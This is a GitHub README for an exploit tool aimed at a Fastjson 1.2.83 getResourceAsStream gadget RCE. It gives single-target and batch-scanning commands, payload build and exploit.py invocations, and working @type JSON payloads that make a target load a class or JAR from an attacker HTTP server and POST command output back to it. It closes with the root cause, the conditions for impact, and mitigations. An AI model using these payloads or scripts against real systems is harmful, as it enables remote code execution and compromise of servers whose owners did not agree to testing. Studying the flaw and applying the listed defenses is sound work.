midisec/fastjson-1.2.83-gadget-rce

GitHub: midisec/fastjson-1.2.83-gadget-rce

Fastjson 1.2.68~1.2.83 版本 getResourceAsStream gadget RCE 漏洞的 PoC 验证与利用工具,支持多 JDK 版本和批量目标检测。

Stars: 3 | Forks: 8

# fastjson-1.2.83-gadget-rce Fastjson 1.2.83 `getResourceAsStream` gadget RCE poc。 poc支持jdk8、17、21和25自动尝试。支持批量对url进行poc验证。 默认 payload 执行 `id` 并 POST 回攻击端 `/out`,用于确认命令执行结果。 ## 快速使用 ### 单个 HTTP 目标 scripts/http-test.sh <攻击端IP> <攻击端HTTP端口> <目标URL> [接口路径] 示例: scripts/http-test.sh 172.20.10.2 19090 http://10.0.0.8:8080 /parse 脚本会自动尝试: - `jdk8-http` - `fd` 成功时输出类似: [+] fd: ID-OOB OK [+] OOB POST /out from target_ip uid=0(root) gid=0(root) groups=0(root) ### 批量 HTTP 目标 `urls.txt` 每行一个完整接口: http://10.0.0.8:8080/parse http://10.0.0.9:8080/api/json 运行: scripts/batch-http-test.sh 172.20.10.2 19090 urls.txt 也可以每行写服务根地址,统一追加接口路径: http://10.0.0.8:8080 http://10.0.0.9:8080 scripts/batch-http-test.sh 172.20.10.2 19090 hosts.txt /parse 批量结果会输出到 `/tmp/fastjson-batch-*/results.jsonl`,完整日志在同目录下。 ### Docker 本地验证 本地启动多个 JDK 靶场容器,并通过 HTTP 打 `/parse`: HOST_IP=192.168.65.254 JDKS="8 17 21 25" ./scripts/test-jdks.sh Docker Desktop 上 `HOST_IP` 通常是 `192.168.65.254`;如果不通,换成容器能访问宿主机的 IP。 ### 手动构建 Payload bash scripts/build.sh <攻击端IP> <攻击端HTTP端口> id-oob <模式> 示例: bash scripts/build.sh 172.20.10.2 19090 id-oob fd python3 -u poc/exploit.py 172.20.10.2 19090 http://10.0.0.8:8080 /parse --mode fd --once --wait 20 模式: - `jdk8-http` - `fd` ## 漏洞原理 Fastjson 1.2.83 在 `ParserConfig.checkAutoType` 中会根据 `@type` 拼接 class resource: String resource = typeName.replace('.', '/') + ".class"; is = defaultClassLoader.getResourceAsStream(resource); 因此特殊 `@type` 可以被转换成远程资源 URL。目标 ClassLoader 若支持 URL resource,便可能请求攻击端 HTTP server 并加载带 `@JSONType` 的 class。 触发过程: 1. 攻击者发送包含特殊 `@type` 的 JSON。 2. Fastjson 把 `.` 替换成 `/`,进入 `getResourceAsStream` 探测。 3. 目标请求攻击端 HTTP server 下载 class/JAR。 4. `@JSONType` 影响 AutoType 判定路径。 5. 命中 `loadClass` / 实例化后执行恶意 class 的 ``。 IPv4 会转成十进制格式,例如: 192.168.65.254 -> 3232252414 这样可以避免 IP 里的 `.` 被替换成 `/`。 ## JDK 版本区别 | 模式 | 适用场景 | 行为 | 本机结果 | | ----------- | ------------------------------- | ------------------------------------------------- | ---------------------- | | `jdk8-http` | JDK8 + Spring Boot 2 FatJar | 直接拉取 `/a.class` 并加载 | JDK 8u492 成功 | | `fd` | JDK17/21 + Spring Boot 3 FatJar | 先拉取 `/probe`,再枚举 `/proc/self/fd/N` 加载 JAR 内 class | JDK 17.0.19、21.0.11 成功 | | `fd` | JDK25 + Spring Boot 3 FatJar | 可拉取 `/probe`,但未收到命令回显 | JDK 25.0.3 未成功 | JDK8 短链使用: {"@type":"http:..3232252414:19090.a"} 转换后: http://192.168.65.254:19090/a.class JDK17/21 FD 链使用: [ {"@type":"jar:http:..3232252414:19090.probe!.foo.Exception"}, {"@type":"jar:file:.proc.self.fd.3!.fd3.Exception"}, {"@type":"jar:file:.proc.self.fd.4!.fd4.Exception"} ] 转换后: jar:http://192.168.65.254:19090/probe!/foo/Exception.class jar:file:/proc/self/fd/N!/fdN/Exception.class 只看到 `/probe` 或 `/a.class` 请求只能说明目标能访问攻击端资源,不代表 RCE 成功;以 `/out` 的 `uid/gid` 回传为准。 ## 影响条件 - Fastjson 1.2.83 - 未启用 `-Dfastjson.parser.safeMode=true` - 服务端解析不可信 JSON 中的 `@type` - 目标 ClassLoader 支持对应 resource 加载路径 - 目标能访问攻击端 HTTP server ## 防护 1. 启用 SafeMode:`-Dfastjson.parser.safeMode=true` 2. 升级到 fastjson2 3. 禁止不可信 JSON 使用 `@type` 4. 限制业务 JVM 出网 5. 审计 FatJar/ClassLoader 对远程 URL resource 的解析行为
标签:CISA项目, Fastjson, Maven, 应用安全, 漏洞验证, 编程工具, 请求拦截, 远程代码执行, 逆向工具